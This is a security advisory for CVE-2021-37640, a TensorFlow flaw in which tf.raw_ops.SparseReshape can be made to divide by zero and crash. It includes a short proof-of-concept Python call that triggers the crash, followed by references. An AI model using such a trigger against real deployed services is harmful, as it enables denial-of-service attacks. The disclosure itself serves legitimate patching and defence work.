CVE-2021-37640: Integer division by 0 in sparse reshaping
(updated )
The implementation of tf.raw_ops.SparseReshape can be made to trigger an integral division by 0 exception:
import tensorflow as tf
tf.raw_ops.SparseReshape(
input_indices = np.ones((1,3)),
input_shape = np.array([1,1,0]),
new_shape = np.array([1,0]))
References
- github.com/advisories/GHSA-95xm-g58g-3p88
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-553.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-751.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-262.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/4923de56ec94fff7770df259ab7f2288a74feb41
- github.com/tensorflow/tensorflow/security/advisories/GHSA-95xm-g58g-3p88
- nvd.nist.gov/vuln/detail/CVE-2021-37640
Code Behaviors & Features
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